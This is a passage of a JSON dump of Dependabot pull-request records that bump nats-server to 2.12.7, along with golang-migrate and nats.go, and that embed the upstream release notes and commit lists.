\u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e","html_url":"https://github.com/foomo/goflux/pull/3","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/foomo%2Fgoflux/issues/3","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3/packages"}},{"old_version":"2.12.6","new_version":"2.12.7","update_type":"patch","path":"/transport/jetstream","pr_created_at":"2026-04-16T07:57:09.000Z","version_change":"2.12.6 → 2.12.7","issue":{"uuid":"4274085764","node_id":"PR_kwDOR-0pzM7S5C2I","number":2,"state":"closed","title":"sec(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7 in /transport/jetstream","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-16T20:23:21.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-16T07:57:09.000Z","updated_at":"2026-04-16T20:23:23.000Z","time_to_close":44772,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"sec(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/transport/jetstream","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e","html_url":"https://github.com/foomo/goflux/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/foomo%2Fgoflux/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"}},{"old_version":"2.12.6","new_version":"2.12.7","update_type":"patch","path":null,"pr_created_at":"2026-04-15T22:55:36.000Z","version_change":"2.12.6 → 2.12.7","issue":{"uuid":"4272189428","node_id":"PR_kwDOR_aeRM7SzUlz","number":131,"state":"closed","title":"chore(deps): bump the go-deps group with 4 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-15T22:58:21.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-15T22:55:36.000Z","updated_at":"2026-04-15T22:58:23.000Z","time_to_close":165,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-deps","update_count":4,"packages":[{"name":"github.com/golang-migrate/migrate/v4","old_version":"4.19.0","new_version":"4.19.1","repository_url":"https://github.com/golang-migrate/migrate"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.50.0","new_version":"1.51.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp","old_version":"0.61.0","new_version":"0.68.0","repository_url":"https://github.com/open-telemetry/opentelemetry-go-contrib"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-deps group with 4 updates: [github.com/golang-migrate/migrate/v4](https://github.com/golang-migrate/migrate), [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server), [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) and [go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp](https://github.com/open-telemetry/opentelemetry-go-contrib).\n\nUpdates `github.com/golang-migrate/migrate/v4` from 4.19.0 to 4.19.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/golang-migrate/migrate/releases\"\u003egithub.com/golang-migrate/migrate/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.19.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump github.com/dvsekhvalnov/jose2go from 1.6.0 to 1.7.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1334\"\u003egolang-migrate/migrate#1334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate docker image to use go 1.25, addressing vulnerabilities  by \u003ca href=\"https://github.com/matsoob\"\u003e\u003ccode\u003e@​matsoob\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1333\"\u003egolang-migrate/migrate#1333\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.36.0 to 0.45.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1335\"\u003egolang-migrate/migrate#1335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix linter issues by \u003ca href=\"https://github.com/HaraldNordgren\"\u003e\u003ccode\u003e@​HaraldNordgren\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1325\"\u003egolang-migrate/migrate#1325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRename databaseName to databaseDriverName by \u003ca href=\"https://github.com/iamonah\"\u003e\u003ccode\u003e@​iamonah\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1304\"\u003egolang-migrate/migrate#1304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Update cloud.google.com/go/spanner version by \u003ca href=\"https://github.com/jferrl\"\u003e\u003ccode\u003e@​jferrl\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1330\"\u003egolang-migrate/migrate#1330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.43.0 to 0.45.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1336\"\u003egolang-migrate/migrate#1336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove dependency on \u0026quot;hashicorp/go-multierror\u0026quot; by \u003ca href=\"https://github.com/leonklingele\"\u003e\u003ccode\u003e@​leonklingele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1322\"\u003egolang-migrate/migrate#1322\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matsoob\"\u003e\u003ccode\u003e@​matsoob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1333\"\u003egolang-migrate/migrate#1333\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/iamonah\"\u003e\u003ccode\u003e@​iamonah\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1304\"\u003egolang-migrate/migrate#1304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jferrl\"\u003e\u003ccode\u003e@​jferrl\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1330\"\u003egolang-migrate/migrate#1330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leonklingele\"\u003e\u003ccode\u003e@​leonklingele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/pull/1322\"\u003egolang-migrate/migrate#1322\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\"\u003ehttps://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/89e308c340a2c069c3260f268307d38a7db88227\"\u003e\u003ccode\u003e89e308c\u003c/code\u003e\u003c/a\u003e chore: remove dependency on \u0026quot;hashicorp/go-multierror\u0026quot; (\u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1322\"\u003e#1322\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/472ef2e75cf6acfb1d5c4092c9e8e05715631f24\"\u003e\u003ccode\u003e472ef2e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1336\"\u003e#1336\u003c/a\u003e from golang-migrate/dependabot/go_modules/golang.org...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/8d7625987a5bcc4f74000a4357c4535b60de2ef6\"\u003e\u003ccode\u003e8d76259\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/crypto from 0.43.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/9f9df7c897f5fcc4432d36e2c9049339d4010626\"\u003e\u003ccode\u003e9f9df7c\u003c/code\u003e\u003c/a\u003e chore: Update cloud.google.com/go/spanner version (\u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1330\"\u003e#1330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/a371c8ea2b677e6b5fb0bb88a2f0a501748132a3\"\u003e\u003ccode\u003ea371c8e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1304\"\u003e#1304\u003c/a\u003e from iamonah/fix/clarify-databaseName-meaning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/43cc3b3ea50ac4385eab5f6a95b85034d9dbf7a9\"\u003e\u003ccode\u003e43cc3b3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1325\"\u003e#1325\u003c/a\u003e from HaraldNordgren/linter_issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/f939a8992502b33eeb4d7cb1e37972e916ec3bf7\"\u003e\u003ccode\u003ef939a89\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1335\"\u003e#1335\u003c/a\u003e from golang-migrate/dependabot/go_modules/golang.org...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/6dd86e0ded6f854fb88a54907030077288fda5af\"\u003e\u003ccode\u003e6dd86e0\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/crypto from 0.36.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/70e6d6d57408f73e126285a976eaa9b70834f5c2\"\u003e\u003ccode\u003e70e6d6d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1333\"\u003e#1333\u003c/a\u003e from matsoob/updateGoInBaseImage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang-migrate/migrate/commit/a51d0da644e28288679c31aadf7ec00e90c9483f\"\u003e\u003ccode\u003ea51d0da\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/golang-migrate/migrate/issues/1334\"\u003e#1334\u003c/a\u003e from golang-migrate/dependabot/go_modules/github.com...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang-migrate/migrate/compare/v4.19.0...v4.19.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.50.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease 